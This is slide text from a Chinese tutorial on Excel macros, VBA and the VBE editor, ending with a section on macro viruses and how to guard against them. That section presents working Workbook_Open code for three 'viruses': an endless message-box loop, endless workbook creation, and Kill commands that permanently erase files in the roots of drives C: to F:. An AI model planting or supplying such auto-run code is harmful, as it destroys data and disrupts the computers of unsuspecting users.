1、单击此处编辑母版标题样式,单击此处编辑母版文本样式,第二级,第三级,第四级,第五级,彻底理解,Excel,中的宏,教学课件,讲 师,:马,成功,您有任何疑问欢迎访问:,金羽毛图书网,http:,我们竭诚为您解答,本节主要讲述以下内容:,宏的引入及相关编辑,宏病毒认识及防范,前言,我们在使用,excel,的时候经常要对某些区域、某些单元格,进行反复的操作,比如:,给选中的单元格快速格式化,反复的设置筛选条件筛选出需要的数据,将不需要的数据删除掉,快速处理工作簿中图像,-,举例:,比如要给,sheet1,工作表上的单元格区域,a1:f18,设置,字体为:隶书,字号为:,30,颜色为:红色,通
2、常的方法是通过相应的字体选项卡或单元格对话框来一步步的完成,实际上,excel,软件内置了一个平时:,看不到,也用不到,其实大多数的情况下是想不到的一个程序编写软件:,Vbe,程序编制软件,简称为,vbe,编辑器,如何启动(查看或打开)该软件,打开工作簿后通过以下任意一种方法均可:,按快捷键,alt+F11,键,在任意一个工作表标签上右击鼠标,-,查看代码,通过开发工具选项卡(默认没显示),小提示:如何显示开发工具选项卡?,默认功能区中是没有开发工具选项卡的,因为该选项卡平时用不到,所以,excel,默认隐藏了她,通过设置可以将她显示出来,(当然通过该设置也可以隐藏它),打开后的,vbe,界面
3、如下图所示,什么是,vbe,?,Vbe,即,visual basic Editor,的缩写,特指嵌套在微软开发的,office,软件中的或者是支持微软,vba,语言的其它公司开发的软件中的一个内置,编程软件,为了方便讲解,我们把经常用到的,excel,界面称之为前台界面,将,vbe,界面称之为后台界面,如何切换前后台界面,前台界面和后台界面的关系,如何切换前后台界面,如何切换前后台界面,反复按,alt+F11,键可以在前台界面和,vbe,界面之间互相切换,通过在任务栏上通过鼠标单击切换,按此按钮也可以返回前台界面,前台界面和后台界面的关系,这个后台界面不管你知道与否还是使用与否默认都是是存在的
4、不管是打开的,excel,程序软件还是打开、新建的任意一个,excel,文件都会存在该界面,也就是这个界面是处于共享状态的,这个界面是嵌入到,excel,程序中的,这个界面不能单独打开,也就说要想打开这个界面必须事先打开任意一个,excel,文件或,excel,程序软件才能打开,vbe,每个文件的后台界面默认都是一样的,但可以进行相应的个性化的编辑和修改,文件删除则隶属于该文件的个性化界面被删除,但处于默认共享状态的界面不会被删除,除非将,excel,程序软件卸载掉,两个界面都可以设置自己的显示比例互不干扰,比如彼此设置为最大化、最小化等等,如果同时打开多个,excel,文件,则最多只能显示
5、一个,vbe,界面,从,vbe,界面的左侧工程资源管理器上可以发现多个已经打开的,excel,文件,关闭任意一个或多个文件界面不会被关闭掉,除非把所有的,excel,文件全部关闭,当只打开一个,excel,文件时,文件关闭则界面也会随之被关闭,当只关闭,vbe,界面时软件不会提示保存操作,即使你在,vbe,界面中编写了相应代码。,当你关闭,excel,文件时不管你是否只在前台进行了编辑操作还是只在后台界面进行操作还是两者兼有,都会提示你是否保存的对话框,出现的对话框会因为你操作的界面不同而略有不同,关于内置,vbe,界面的小提示:,并不是微软开发的任何软件中都有内置了该编程界面,也并不是微软开
6、发的任意一个,office,应用软件中都内置了该编程界面,更不是只有微软公司开发的软件中含有此编程界面,请看下面的旧闻摘要,旧闻摘要:,VBA,不止是出现在,Office Word/Excel,里用来记录宏、执行自动批量处理,微软还有一个授权项目,允许第三方独立软件开发商,(ISV),在其程序中使用,VBA,。在过去近十年里,,Corel,、,AutoDesk,都购买了,VBA,授权,在各自产品中加入了这一功能,今后他们还可以继续这么做。微软只是不再销售新的,VBA,第三方授权了。,autodesk,公司开发的,autocad,软件,内置在,Autocad,软件中的,vbe,知道了上述的,vb
7、e,界面后,我们可以在编程界面中编写代码实现我们的要求,比如实现上面提到的案例,小例子:给单元格区域设置格式,打开编辑器后在其中编写相应的代码即可实现我们开始讲课的案例:,Sub,添加格式,(),Sheets(sheet1).Select,Range(a1:f18).Select,With Selection.Font,.Name=,隶书,.Size=30,.ColorIndex=3,End With,End Sub,清除不要的格式,Sub,清除格式,(),Sheets(sheet1).Select,Range(a1:f18).Select,With Selection.Font,.Name=
8、宋体,.Size=11,.ColorIndex=0,End With,End Sub,疑难,虽然通过在,vbe,中编写了相应的代码实现了我们需要的功能,但是对于初学者来说会有很多的疑虑:,我不知道你写的是什么,我也不知道你是如何实现要求的,我根本就看不懂,-,有没有一种方法既可以实现我需要的功能又不用编写相应代码?,针对这种情况,微软提供了一个宏工具实现了上述功能,这就用到了宏的相关知识,宏的引入,在现实生活和工作当中,当我们需要反复收听某种声音的时候,我们可以采用话筒或录音机等相关设备将需要的声音录制在磁带、电脑或其它相关设备中,然后可以反复的播放需要的音频,当我们需要反复观看某些视频画面
9、的时候我们可以采用摄像机等相关设备将视频拍摄下来,需要的时候再进行反复的播放观看,录音机是用来录制声音的,摄像机主要是用来录制视频的,他们的相同点都是一经录制下来后可以反复的播放我们录制的信息,在,excel,软件中也有一个内置的录制工具:宏,这个工具不是用来录制音频的更不是用来录制视频的,他是用来录制操作软件时相关的动作的,他录制的是一个“无声的世界”,录制音、视频需要相关的硬件设施,在软件中录制相关的动作也需要一个“硬件设施”,-,这就是,excel,中的宏录制器,什么是宏录制器,宏录制器是,excel,中专门录制操作步骤或动作的专用录制工具,其实就是一个比较特殊的对话框,这个宏对话框(工
10、具)就是用来收集你在软件中的相应操作步骤的,但是宏对话框对于刚接触的使用者对这个专用名称一时不好理解,为了形象的理解我们可以称之为:,动作跟踪器,操作步骤记录器,步骤录制器,要想很好的使用该工具,需要我们掌握以下基本知识,理解宏,策划宏,录制宏,运行宏,编辑宏,理解宏,这个上面我们已经说过了,宏就像现实生活中的录音机或摄像机,她是专门用来录制相应软件中的操作步骤的,她录制的是一个和动作有关的“无声的世界”,策划宏,策划宏就是首先谋划想要得到什么样的功能,可以的话把你的想法或需求逐个罗列出来,然后围绕你所需的功能策划出实现功能的相应的步骤,在策划宏的时候主要注意以下情况:,你想要的功能是否可行?
11、并不是所有的操作都能通过录制的方式进行录制,它只能录制简单的功能,如果可行的话你如何逐步得到你的功能?,步骤的多少,步骤的先后顺序,举例,打个比方,我们要记录某人一天的工作安排,第一步、先起床,第二步、洗脸,第三步、刷牙,第四步、吃饭,第五步、上班,起床,洗脸,刷牙,吃饭,上班,步骤多少的变化,这个人一天的工作安排总共分为五步,每步之间有先后顺序,实际上这个人每天的步骤的多少可能会有些变化,比如,起床,洗脸,刷牙,吃饭,上班,下班,起床,吃饭,上班,下班,步骤先后位置的变化,这个人的步骤的先后顺序也可能改变,起床,刷牙,洗脸,吃饭,上班,下班,吃饭,起床,洗脸,刷牙,上班,下班,在软件中策划
12、宏,在软件中策划某个功能,也需要考虑步骤的多少和顺序,比如:,将工作表中,A1:A8,的单元格中的数据的字体设置为:,黑体、,26,号、倾斜、加下划线,我们策划如下步骤相应的顺序:,选中区域,设置黑体,设置,26,号,加倾斜,加下划线,顺序的改变,选中区域,加倾斜,设置,26,号,设置黑体,加下划线,小提示,虽然我们上面讲述关于策划宏的时候提出了步骤的多少和先后顺序的弹性变化,但有的时候并不能随意的设置,尤其是关于步骤的先后顺序有的宏不能随意的设置,录制宏,要想得到我们需要的功能,首先需要我们打开宏录制器,有必要对宏录制器对话框认识,宏对话框概讲,先掌握宏名的起名规则和说明,说明,起备注和解释
13、说明的意义,该项可以不用写,也可以后面添加,对代码起辅助的作用,开始录制宏,一般通过两种方法录制,通过状态栏上的宏录制器录制,通过开发选项卡上的表单窗体控件中的,按钮,控件录制,宏录制时的,”,为,”,与,”,不为,”,并不是所有的步骤都能被录制下来,虽然你在操作,但是却录制不下来,比如:,她只能录制本软件内的相关动作,切换到其它软件中的操作不能被录制,在本软件内,和对话框有关的操作大多数不会被录制,切换软件的选项卡操作不会被录制,动作停顿时不会被录制,鼠标仅仅是简单的晃动不会被录制,-,小提示:,一个工作簿上可以录制多个步骤相同或不同的宏,但不能出现重名的宏,停止录制,录制的宏代码一般不需要
14、无限制的录制下去,在适当时候需要停止录制,忘记停止录制的动作时,当工作簿关闭的时候宏则自动停止录制,小提示,Excel,中的宏在录制的时候没有暂停功能,在这一点上她比不上,word,中的宏,Word,中的宏有暂停功能,当一个宏录制完毕后,我们适当的时候需要运行(使用),它尝试让宏给我们带来的便利,在运行宏的时候我们可以采用多种方法运行,这些方法我们可以从不同角度划分,比如:,前台运行方式,后台运行方式,-,宏的运行方式详解,运行方式,前台运行,后台运行,事件运行,时间运行,快捷键运行,宏对话框,前台运行方式(链接运行方式),是指通过,单击,放置在,excel,相关工作表上的,具体的对象运,行相
15、应宏的方式,这种方式其实为一种指向或链接的方式,和超链接类似,不过他链接宏而不是某个网页,这些对象可以是以下几种类型的对象,前台对象,图像,图形,文本框,艺术字,窗体控件,在对象右击鼠标,-,指定宏,建议,虽然通过在前台界面添加不同的对象均可以链接到相应的宏,但是还是建议大家尽量使用表单控件或,ActiveX,控件,因为使用这种控件:,专业,正规,直观,图文并茂,举例:使用普通图形链接宏,步骤如下:,在,excel,工作表内绘制一个图形(在此用的是矩形),在矩形上右击鼠标,-,打开指定宏对话框,找到需要的宏时单击确定即可,小提示:如何找到宏所在的位置,我们知道在每一个打开的工作簿上都可以录制相
16、应的宏,这些宏默认放置在彼此的工作簿内,如果只想使用当前工作簿内的宏则只需启动当前工作簿即可,如果要想启用放置在其它工作簿内的宏,则必须应首先打开所需宏所在的工作簿,否则是无法跨簿调用的(除非将宏录制在个人宏工作簿内或导入相应宏的模块,不过这都是后话了),指定宏对话框,宏对话框中的位置选项,位置:即宏所存放的地址,这个位置下拉列表选项会随着打开的工作簿的数量的不同而不同,这些位置主要分为以下四个大类:,所有打开的工作簿,当前工作簿,个人宏工作簿(,personal.xlsb,),其它打开的工作簿名称,指定宏对话框中的宏名选项,宏名列表中宏的数量会随着选择的宏位置的不同而不同,当选择“,所有打开
17、的工作簿”时宏名列表项是最多的,小提示,如果你只是打开指定宏对话框,但是并没有从宏名列表项中给对象选择指定的宏时,虽然可以单击确定按钮,但是当你单击目标对象时会出现如下所示的警告框,小提示,当一个对象被指定宏后,如果想编辑该对象,比如:更改对象的位置、大小、颜色等信息时不能采用单击的方法,因为此时的单击是运行宏动作不在是选中目标对象了,这个时候应该在目标对象上右击鼠标,-,进入对象的编辑状态,,再进行针对对象的相关操作。,举例:采用表单控件指定宏,虽然表单控件里的控件都可以指定宏,但是用的最多的还是按钮控件,这个控件不但能指定宏而且默认时还可以通过它单独录制宏操作,按钮控件,操作步骤,当你在工
18、作表上拖放画出该控件时,弹出指定宏对话框,此时可以直接指定已经存在的宏,也可以采用录制的方法从新录制一个,也可以暂时不录制不指定后面在添加指定的宏,按钮的相关编辑,要想更改按钮的位置、大小、文字等等,首先应在按钮上右击鼠标进入编辑模式,如何更改按钮控件上的文字,默认的按钮控件上的提示文字可能不直观,可以在按钮上右击鼠标,-,编辑文字,小提示,在一个按钮没有指定宏之前(也就是只是将按钮放置在工作表内没有指定运行的宏),我们可以在按钮上,快速双击,鼠标的方式直接进入编辑状态编辑相应的文字,此时也可以通过“开始”选项卡上的相应的文字编辑选项编辑按钮上的文字,按钮的其它格式设置,按钮不但能进行位置、大
19、小的更改,还可以进行颜色、字体的更改,单击此项,小技巧,如果你想在一个工作表上添加多个按钮控件,你可以一步步制作,也可以先制作出一个然后进行复制粘贴的方式复制多个出来,选中多个后可以同比例操作,更改每个的文字显示内容,最后再每一个指定相应的宏,小提示,在选中按钮控件时,一定要鼠标单击(放置在)按钮控件的边框上,不能单击文字内部否则无法整体选中按钮,在复制按钮时既可以通过快捷键复制,也可以按住,ctrl,键或,shift,键拖拉目标对象进行复制,如果同时按住,ctrl+shift,键进行拖拉复制则可以保证复制的控件在同一个水平位置或垂直位置,小提示,虽然通过,ActiveX,控件也能指定宏,但是
20、需要手工编写代码才能运行相应的宏,建议初学者暂时不用掌握该控件的使用,命令按钮控件,对象与链接的宏的关系,对象删除宏不会被删除,宏被删除、注释、改名等操作会,单击对象时会有提示信息,对象移动宏不会移动,但还会响应对象的单击操作,对象复制宏不会复制,但还会响应对象的单击操作,一个对象默认只能链接一个宏,可以更换已经指定宏,在不删除对象的情况下,可以删除对象上链接的宏指向,删除对象上的宏指向,通过宏对话框运行,通过快捷键运行宏,快捷键可以在录制时添加,也可以在随后添加,添加的快捷键也可以删掉,如果指定的快捷键和默认快捷键发生冲突时则以宏快捷键为准,即:覆盖了内置的快捷键,快捷键的设置规则:,不能使
21、用不允许的字符,可以是大写字母,如何后期添加和删除快捷键,后台运行,按,alt+F11,打开,vbe,编辑器,找到并将光标定位到需要的宏然后按,F5,键或工具栏上的运行按钮运行需要的宏,小提示,建议初学者不要采用该方法运行,主要是因为:,一是不能很好的找到并定位到你需要的宏,二是在运行的时候宏处理的结果不能很好的观察,因为,vbe,界面遮挡住了前台界面,不过我们可以将,vbe,界面适当的缩小一下便于观察,默认录制的宏只能是按快捷键运行或前台运行,通过相关设置可以成为,按事件运行,按时间运行,这个操作起来稍难一些,通过事件运行宏,工作簿的打开事件,工作表的选中事件,工作簿的关闭事件,-,按时间运
22、行宏,当工作簿打开后可以在,某时刻定点运行,可以在多长时间后运行,可以设置成周期运行(在此不讲此操作),首先录制一个用于测试的宏代码,Sub,填充相同信息,(),Range(D5:G19).Select,Selection.FormulaR1C1=1,End Sub,在指定的时刻运行,(以个人电脑时间为准),将工作簿打开后在指定的时刻运行,Private Sub,Workbook_Open(),Application.OnTime TimeValue(13:00:00),填充相同信息,End Sub,在经过指定的时间之后运行,当打开工作簿后,从现在开始计时,经过多长时间之后开始运行指定的宏,P
23、rivate Sub Workbook_Open(),Application.OnTime Now+TimeValue(00:00:05),填充相同信息,End Sub,小提示,一个宏可以被多个对象调用,但是通过前台方式或快捷键方式运行的宏一次只能运行一个宏,即一个对象只能链接一个宏,通过事件运行的宏一次可以运行多个宏,小提示,微软提供的宏功能,最基本的用法就是通过录制的方法将动作录制下来,方便重复的调用动作。,实际上录制动作的功能不仅仅局限在,office,软件上,比如大名鼎鼎的,adobe,公司开发的,ps,软件也有类似的功能,只不过该功能的名称为,”,动作,”,Adobe photosh
24、op cs3,版本中的“宏”,宏保存位置的设置,录制的宏实际是录制的宏代码,这些宏代码总会保存在设置的位置中,位置可以有不同选择,选择不同的位置会影响宏使用的范围,宏保存位置的选择,当前工作簿,新建工作簿,个人宏工作簿,当前工作簿,如果选择当前工作簿则会把宏代码录制在当前正在使用工作簿内,其它已经存在的工作簿或以后新建的工作簿都不会含有此宏代码,一旦将此工作簿关闭后,其它工作簿则不能使用该宏功能,不过当一直打开该工作簿时,其它工作簿也可以使用该宏功能,新建工作簿,如果选择新建工作簿,首先软件会自动新建一个默认名字为,book1,的工作簿内,并将录制的代码放置在一个自动新建的工作簿内,她的服务范
25、围在不关闭新建工作簿时也可以服务本工作簿和其它工作簿,一旦关闭则无法服务其它工作簿,一般不会选择该选项,个人宏工作簿,如果选择个人宏工作簿,则将录制的代码放置在一个名称为,:personal.xlsb,内的工作簿内,不过默认该工作簿是不存在的,如果是第一次选择个人宏工作簿选项,则会,自动,新建一个个人宏工作簿,当新建后才可以将代码录制在该特殊的工作簿内,这个个人宏工作簿默认是无法看到的,通过在选项卡上单击单击“取消隐藏,”,,即可看到隐藏的工作簿,这个时候你会发现在电脑的状态栏上会多出一个工作簿:个人宏工作簿,个人宏工作簿的真面目,个人宏工作簿的功能,通过将代码录制在个人宏工作簿内,解决了宏功
26、能的共享问题,可以在所有,打开,的工作簿内都可以通过某种方式被调用,再次隐藏个人宏工作簿,在个人宏工作簿内单击“隐藏”即可再次隐藏该工作簿,如何寻找个人宏工作簿在硬盘中的位置,搜索:,xlstart,C:Documents and SettingsAdministratorApplication DataMicrosoftExcelXLSTART,小提示,一旦新建了个人宏工作簿,则启动,excel,程序时会自动的启动该工作簿,这也许会影响你的启动速度,如何删掉个人宏工作簿,找到该文件在硬盘中的位置后,先关闭所有打开的,excel,文件(否则无法删除),然后再删除该个人宏工作簿,删掉个人宏工作簿
27、后放置在其内的宏则一起被删掉,含宏文件的保存注意事项,当一个含宏文件保存时和一个不含宏文件保存时出现的保存对话框是不同的,单击“是”,当你单击“是”选项时,会将文件保存为,*.xlsx,格式的普通,excel,文件,采用此项后:,采用宏处理的结果则会保存下来(如果已经使用宏处理过的话),你录制的宏代码则被自动删掉,单击“否”,当你单击“否”选项时,会强制要求你将文件保存为,*.xlsm,格式的文件,采用此项后:,采用宏处理的结果则会保存下来(如果已经使用宏处理过的话),你录制的宏代码也会保存下来,小提示,采用,*.xlsm,格式保存的文件的图标和普通,excel,文件的图标是不一样的,含宏文件
28、图标有一个惊叹号,小提示,宏代码保存在不同的工作薄内当你保存文件时出现的对话框是有所不同的,当将宏保存在个人宏工作簿内,则保存工作簿时不会出现强制保存选项对话框,因为此时录制的宏根本就没有录制在当前工作簿内,只有当宏保存在当前或新建工作簿中时关闭文件时才会有强制提示,小提示,实际上除了将宏代码保存在当前工作簿或个人宏工作簿外还可以将宏文件通过另存为保存在含有宏的模板上,启用宏的模板,.xltm,03,和,07,的不同,在,excel 2003,中录制的代码在保存时不会强制要求你更改格式,从外在图标和文件格式上你无法辨别哪个文件是含宏文件哪个不是含宏文件,也就是说宏代码是寄生在文件中的,实际上这
29、种文件,是宏亦是文件,但是,excel 2007,则不同,含宏文件的格式和图标是可以看出来的,这就给出了我们一个辨别能力,只要一看图标和后缀格式就能发现是否含宏,这给以后的辨别宏病毒提供了方便。,宏的优点,通过上述的案例我们发现宏有以下优点:,减轻劳动负担提高工作效率,将经常需要的步骤录制下来经过简单的调用即可实现我们的需求,方便功能的共享与协作,将彼此录制的宏发给对方,使彼此双方也能使用彼此录制的宏功能,采用宏功能延伸了软件的功能,给以后软件的二次开发提供了便利,这也许是,ms office,区别于其它,office,软件的一个功能吧,宏的实质,通过宏录制器录制的方式产生我们需要的功能,宏录
30、制器从表面上录制的是动作,实际上录制的是宏代码,宏录制器是采用代码录制的方式而不是手工编写代码的方式产生需要的代码进而得到我们需要的功能,这从一定角度上看“逃避”了掌握编写代码的步骤,既然录制的是代码,那么我们查看录制的代码,如何查看录制的宏,默认录制的宏都是放置在,vbe,编辑器中的模块中,它会自动产生一个模块,默认新建的模块为“模块,1,”,默认情况下会将录制的宏全部放置在同一个模块中,除非人为干预,双击该模块后从右侧编辑区内可以看到我们录制的一个个的宏,这些代码实际上是用一种语言编写的,只不过通过宏录制的方法会自动产生代码,无需人工编写,编写这种代码的语言采用是:,vba,语言,什么是,
31、vba,?,Vba,的全称是,visual basic for applications,的缩写,她是一种计算机编程语言,就好比大名鼎鼎的,c,语言、,java,语言、汇编语言等,Vba,和,vb,以及,basic,的关系,vba,语言是从,vb,语言中派生出来的子语言,Vb,语言又是,basic,语言的可视化版本,三者之间有一种包含关系,Basic,语言,Vb,语言,Vba,语言,Vba,继承了大多数,vb,中的语法、规则,就连编程界面也很相似,在不严格的情况下,可以说,vba,就是,vb,的子集,小提示:,虽然,vba,是从,vb,语言派生出来的,但两者之间还是有所区别的,主要区别如下:,
32、是否有独立的编程环境,是否可以开发出可打包部署的应用程序,主要目的,Vb,有,可以,开发独立的应用程序,vba,无,不可以,主要是为弥补支持,vba,语言的宿主软件的功能而服务,小提示,实际上最开始在在录制宏功能时采用的是相应软件比较独立的语言编写的,比如:,录制,excel,中的宏采用的是,excel basic,语言,录制,word,中的宏采用的是,word,basic,语言,每种语言有比较大的区别,这样导致在学习上及宏之间的兼容性上比较棘手,为了达到在学习及兼容性上有一个统一的标准,微软开发出了比较统一的,新一代的宏编程语言:,vba,vba,Word basic,Excel basic
33、Ppt basic,Word vba,excel vba,ppt vba,Vba,与,vbe,的区别和联系,Vba,是一种计算机语言,通过该语言编写的代码我们称之为宏代码或,vba,代码,通过该语言开发的程序我们称之为宏程序或,vba,程序,但是并不是在任意一个软件中书写用,vba,编写的代码都能生成需要的软件,比如将代码编写在记事本中,则永远不能生成软件,只有将,vba,代码放置在特定的编辑软件(环境)中才能生成软件,这个特定的编辑软件我们称之为,vbe,编辑器,Vbe,是编写、测试宏代码的专用车间或者平台,宏与,vba,的区别,宏是一种技术、一种功能、一个工具,就好比排序、筛选是,exc
34、el,中的数据处理技术,Vba,是一种语言,通过使用该语言可以在支持该语言的宿主软件上采用手工编写或录制的方法产生需要的功能,宏的概念,掌握了很多宏的相关知识后,我们有必要给宏下一个概念,宏,她的英文单词是,Macro,这就是为什么在录制宏的时候默认的宏名是,Macro1,宏是指:,在支持,vba,语言的宿主软件上,软件使用者为了避免一再重复相同的动作而开发出来的一个工具,她利用简单的语法,将相应的动作步骤录制成宏,在以后需要的时候方便重复调用,不必再重复的相同的操作了。,形象比喻宏功能,通过使用宏技术又多了一条通往罗马的道路,她使通往拉萨的火车从单行线变成了双行线,宏所能实现的功能和前台软件
35、所能实现的功能的对比,你有我也有,你没有我有,你有我优,你优我不优,宏使用的必要性探究,宏虽然提供了很强大的处理数据的功能,但是并不是言必称宏,在对数据采用简单的功能就能得到需要的结果时,就没必要使用宏,那些对,excel,常用功能还没有完全弄懂的情况下就大谈宏与,vba,是舍本逐末的表现,说的直白些那是一种显摆与炫耀。,宏的相关编辑,删除宏,注释宏,移动宏,复制宏,更改宏,删除宏,如果录制的宏不想被使用,可以删除掉该录制的宏,在,vbe,界面中删除,在宏对话框中删除,小提示,如果删除的当前宏已经被某个对象或事件所调用,那么当删除后,单击相应的对象启用已经被删除的宏时,会出现警告信息,注释宏,
36、当你不确定录制的宏是否以后需要的时候,不要直接删除,我们可以采用注释的方法,暂时的停用该宏,在,vbe,界面中选中宏代码,录制的宏,注释之前的,Sub,填充相同信息,(),填充相同信息,Macro,在录制信息工作表上填充相同的数据,Range(D5:G19).Select,Selection.FormulaR1C1=1,End Sub,宏被注释之后的,还可以取消注释从新启用该宏,移动宏,移动宏就是将宏代码移动到其它位置:,移动到其它模块,其它工作表,其它工作簿,其它应用程序内:记事本、,ps,等(不在有宏的功能),复制宏,将录制的宏代码整体复制,并粘贴到适当的位置,注意:不能粘贴到相同的模块内
37、否则会出现警告,可以适当的更改宏名解决二义性警告,更改宏,更改宏,更改宏名,注意更改后曾经被调用过会出现警告,更改功能,录制的宏会有许多无用的代码:垃圾代码,通过适当的删除和更改可以使宏代码更加紧凑和简略,宏与文件的关联,我们知道录制的宏默认放置在某个模块内,实际上是放置在相应的工作簿内,文件删除则宏也删除了,文件复制则宏也被复制,文件移动则宏也被移动,Ms office,给我们提供的宏功能的开放性为我们个性化功能及二次开发新界面提供了很大的便利,但是在使用这个便利的工具时,我们通过宏工具既可以开发出有益的宏代码,也可以人为的编写出有害的宏代码:宏病毒,宏病毒,计算机病毒,宏病毒,宏病毒相关
38、信息,如何制作宏病毒,如何防范宏病毒,计算机病毒,什么是病毒?,病毒是指人为的采用某种语言编写的对计算机有害的计算机代码或程序,病毒的破坏方式不尽相同,病毒有数万种之多,每天都有新病毒出现,其中就有一大类病毒:宏病毒,什么是宏病毒?,广义的宏病毒是指:凡是支持内置,vba,程序语言的软件上,通过,vba,语言人为制作的对文件及系统有害的计算机程序,狭义的宏病毒特指:在微软,office,应用软件上,通过内置,vba,语言人为编写的对文件及系统有害的计算机程序,宏病毒破坏相应,office,应用软件而编写的一种计算机程序。宏病毒是一些制作病毒的专业人员利用,Microsoft office,相应
39、软件的开放性即内置的,vbe,编程界面,专门制作的一个或多个具有病毒特点的宏代码,这种病毒宏的代码影响到计算机使用,并能通过相应文件进行自我复制及传播。,宏病毒的起源,1996,年,12,月,13,日,一种被称为“,TaiwanNo.1”,(台湾,1,号)的病毒同时在北京和深圳被发现,一例来自于,Internet,的下载文件,另一例来自某医院的一项合作协议书。在一个专门研究医学病毒的捍卫人体健康的机构发现被计算机病毒侵袭的事件,宏病毒的相关认识,宏病毒的特点,宏病毒的危害性,宏病毒的传播方式,宏病毒的特点,宏病毒隐蔽性强,通过,office,相关软件传递病毒,不容易被发现,宏病毒传播迅速,因为
40、几乎大多数的公司都在使用,office,系列软件,危害比较严重,由于该病毒能跨越多种平台,并且针对数据文档进行破坏,因此具有极大的危害性,制作与变种方便,常见宏病毒的危害性表现方式,比如:,不能正常打印,将文件改名,乱复制文件,删除文件或文件夹,出现死循环,不让保存文件,强行保存为某种模板格式的文件,-,特别提示,vba,代码也支持对操作系统的底层调用,可以使用某些系统上的,dos,命令,这样一来宏病毒并不是仅仅“青睐”于你的简单的文件,她还,”,格外关心,”,你的格式化硬盘服务,甚至关机操作也可以为你“效劳”,宏病毒的传播方式,移动存储交流染毒文档文件;,硬盘染毒,处理的文档文件必将染毒;,
41、光盘携带宏病毒;,Internet,上下载染毒文档文件;,BBS,交流染毒文档文件;,电子邮件的附件夹带病毒。,(从某个角度上来说这就是为什么人事经理在接收电子邮件时总是提示不能以附件的方式发送,word,简历),宏病毒的制作,通过录制宏的方法制作宏病毒几乎是不可能的,宏病毒一般都是刻意手工编写出来的,要想制作宏病毒需要三个条件,要有编写的载体:,宏病毒必须依附在相应的,office,软件上的,可以是,word,文档、,excel,文件或者,ppt,文稿,要会编写代码:,不一定非得采用,vba,编写,但在,office,软件上最好使用,vba,代码编写,并且代码要写在特殊的位置,触发宏病毒发作
42、的条件,没有触发条件,编写的代码是无用途的,我们尝试制作以下病毒:,打开文件后出现无穷的警告信息(入门病毒),打开文件后无穷的制作新工作簿(入门病毒),打开文件后删除指定路径下的其它文件(中级病毒),病毒,1,:制作死循环弹出框病毒,病毒特点,代码编写,解决方法,病毒特点,打开该工作簿后出现烦心的对话框,并且很难关闭,代码编写,Private Sub Workbook_Open(),Dim i,For i=1 To,1000 ,可以将,1000,改为任意大小的数字,MsgBox,人事好:恭喜你中毒了,Next,End Sub,解决方法,按键盘上的,ctrl+break,组合键强行退出循环,单击
43、结束”按钮即可解决,也可以按键盘上的,”ctrl+alt+delete”,解决,另法,按,alt+f11,键后进入,vbe,编辑界面删除或注释掉掉相应的代码即可,宏病毒,2,:无穷的新建工作簿,病毒特点,代码编写,如何杀毒,病毒特点,打开含有代码的工作簿后,自动新建无穷的工作簿,直到你的计算机崩溃为止,代码编写,Private Sub Workbook_Open(),Dim i,For i=1 To,100,可以将,100,改为任意大小的数字,Workbooks.Add,Next,End Sub,解决方法,和上述解决方法类似,但不好控制,宏病毒,3,:删除文件,病毒特点,代码编写,如何杀毒,
44、病毒特点,打开含有代码的工作簿后,自动删除指定路径的所有文件,注:,该病毒只删除文件,不删除文件夹,而且是彻底删除,不经过回收站,代码编写,Private Sub Workbook_Open(),On Error Resume Next,Kill f:1*.*,End Sub,提示:可以将,Kill “f:1*.*”,更改成多个语句,kill,“c:*.*,kill,“d:*.*,kill,“e:*.*,kill,“f:*.*,完整的代码如下,Private Sub Workbook_Open(),On Error Resume Next,kill “c:*.*,kill “d:*.*,kil
45、l “e:*.*,kill “f:*.*,End Sub,她会将你,c:d:e:f:,盘上的根目录下的所有裸露的文件彻底删掉,解决方法,这个病毒不好解决,有些难,减少不必要的恐慌,虽然宏病毒有这样或那样的危害,但是我们大可不必如临大敌,这是因为从以下几个方面我们可以消除疑虑:,Office,使用者的掌握程度:,Office,软件有无的考虑,Office,版本不兼容,Office,内置的天然屏障,office,使用者的掌握程度,office,的使用者:,大多数的或许就没有听说过宏的相关知识,只有一少部分听说过宏但仅仅停留在了解的阶段,只有非常少的一部分会去录制宏解决问题,只有极少的一部分会手工编
46、写,vba,代码,要想编写一段很有危害的,vba,代码需要系统的锻炼,并不是短时间内一蹴而就的,Office,软件有无的考虑,如果对方电脑上没有安装,office,相关软件,也没有安装相关的第三方,office,文件阅读器,实际上当你将含毒文件发送到对方的电脑上后,对方是无法打开你的文件的,连看都无法看更别说触发病毒的发作了。,版本不兼容导致病毒无法运行,同种语言不同版本情况下,假设对方已安装了相关的,office,文件,但是如果对方安装的版本比你制作病毒的版本低并且在对方没有安装,office,兼容包的情况下话,也是无法打开你发送的文件的,更别说触发病毒了,中英文版本不兼容,在同样版本的,o
47、ffice,的软件,比如都是安装的,office 2003,或,office 2007,,但是如果一个安装的是英文版本的,office,,一个安装的中文版本的,office,,当对方接收到含毒文件后也是无法触发病毒的发作的,Office,内置的天然屏障,假设彼此双方在语言界面相同版本亦相同的情况下,是否在打开含毒文件后一定会触发病毒的发作?,答案是否定的,因为,office,的相关软件内置了一个对含代码文件自动识别的功能,这个功能针对含代码的文件才起作用,如果文件含有代码,,office 2003,和,office 2007,的提示形式是不一样的,Office 2003,的提示界面,Offic
48、e 2007,的提示界面,注意此处的提示,小提示:在默认情况下,不管代码是有益的还是有害的都会出现相应的提示,如果打开的文件不含有任何代码则不会出现相应的提示,小技巧:如何辨别含毒文件,从上面的知识我们发现打开含代码文件后会自动出现相应的提示信息,那么我们还可以不用打开含代码文件仅从外观即可粗略查看文件是否含代码,从文件的后缀格式和图标上看出猫腻,用,office 2007,制作的代码文件,如果想让代码和文件共存的话,在保存时会强制的保存为特殊的后缀格式(,*.xlsm,),但是用,office 2007,以下版本制作的含代码文件仅从图标上是无法看出是否为含代码文件,因为低版本的文件代码和文件
49、是共存在一起的,在保存时不会强制改变文件后缀格式和图标形状,要想理解打开含代码文件时出现,相应提示,这就用到了宏病毒的防范措施,宏病毒的防范,外部防范,自身防范,外部防范,主要是通过杀毒软件防御和查杀,一般的杀毒软件都含有查杀宏病毒的功能,并注意要时时的升级病毒库,小提示:,有的杀毒软件对该类的病毒根本就查杀不了也防御不了,自身防范,既然宏病毒制作主要是相应,office,软件商制作的,传播也是依赖相应,office,文件的,针对这种情况,微软在相应软件上提供了自动识别和自动防御的功能,实际上微软在运行有益的宏及防范宏病毒时采用了多种防范措施,这些措施大概划分如下:,在受信任位置中的设置,不在
